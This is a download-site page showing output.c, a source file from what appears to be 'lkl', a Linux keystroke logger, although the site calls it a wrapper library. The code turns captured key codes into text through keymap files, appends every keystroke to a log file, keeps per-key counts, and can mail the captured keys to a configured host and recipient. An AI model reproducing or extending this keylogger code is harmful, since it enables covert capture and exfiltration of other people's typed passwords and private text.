⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 output.c

📁 是一个包装库
💻 C
字号:
#include "lkl.h"char *asciitab[TABLE_SIZE], *asciitab_shift[TABLE_SIZE], *asciitab_alt[TABLE_SIZE];int stattab[TABLE_SIZE];void do_output(char c, struct lkl *lkl){  FILE *fp;  char *ascii;  ascii = code2ascii(c, lkl);  if(ascii == NULL) ascii = "NULL";    if(*ascii) {	if(c<TABLE_SIZE)	  stattab[c]++;   }    if(lkl->outfile == NULL){    printf("(%s)", ascii);  }else{    if((fp = fopen(lkl->outfile, "a")) == NULL){      perror("fopen()");      exit(-1);    }        fprintf(fp, "%s", ascii);    fclose(fp);  }  /* do stat-info out */  if(lkl->statfile != NULL) {	 if((fp = fopen(lkl->statfile, "w")) == NULL){	      perror("fopen()");	      exit(-1);	 }		      	 fwrite(stattab,sizeof(stattab),1,fp);//, "%s", ascii);	 fclose(fp);	  }  if(lkl->mail)snd_mail(ascii, lkl->host, lkl->rcpt);  }void do_dump(char* filename){	 /* open the key static file */	 FILE *fp;	 int i;	 memset(&stattab,0,sizeof(stattab));	 if(filename != NULL) {	    if((fp = fopen(filename, "r")) == NULL){	       perror("fopen()");	       exit(-1);	    }	    fread(&stattab,sizeof(stattab),1,fp);	    fclose(fp);	}	for(i = 0; i<TABLE_SIZE;i++)	{		if(stattab[i]) {			//do output			printf("KeyCode:%d:Count:%d;",i,stattab[i]);		}    }	printf("\n");}char *code2ascii(char c, struct lkl *lkl){  char *str;  if(lkl->pressed_shift){    str = asciitab_shift[c];    return str;  }  if(lkl->pressed_alt){    str = asciitab_alt[c];    return str;  }  return str = asciitab[c];}void def_keymap(char km_file[]){  int i;  char km_fileOLD[256], *ascii[TABLE_SIZE];  FILE *fp;  if((fp = fopen(km_file, "r")) == NULL){    perror("\nunable to find keymap-file");    printf("a keymap is required!! run lkl with -k <keymap>\n");    exit(-1);  }  strcpy(km_fileOLD, km_file);  //Standard keymap definition  for(i = 1; !feof(fp); i++){    asciitab[i] = (char *)malloc(127);    fgets(asciitab[i], 127, fp);    if(asciitab[i][0] == '#'){      i--;      continue;    }    if(!strstr(asciitab[i], "<Ret>")) asciitab[i][(strlen(asciitab[i])-1)] = '\0';  }  //Upper Case keymap definition  strcat(km_file, "UP");  if((fp = fopen(km_file, "r")) == NULL){    perror("\nunable to find keymap-file");    printf("unable to find UPPER case keymap file, check it!\n");    exit(-1);  }  for(i = 1; !feof(fp); i++){    asciitab_shift[i] = (char *)malloc(127);    fgets(asciitab_shift[i], 127, fp);    if(asciitab_shift[i][0] == '#'){      i--;      continue;    }    if(!strstr(asciitab_shift[i], "<Ret>")) asciitab_shift[i][(strlen(asciitab_shift[i])-1)] = '\0';  }  //Alt keymap definition  strcpy(km_file, km_fileOLD);  strcat(km_file, "ALT");  if((fp = fopen(km_file, "r")) == NULL){    perror("\nunable to find keymap-file");    printf("unable to find ALT keymap file, check it!\n");    exit(-1);  }  for(i = 1; !feof(fp); i++){    asciitab_alt[i] = (char *)malloc(127);    fgets(asciitab_alt[i], 127, fp);    if(asciitab_alt[i][0] == '#'){      i--;      continue;    }    asciitab_alt[i][(strlen(asciitab_alt[i])-1)] = '\0';  }  fclose(fp);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -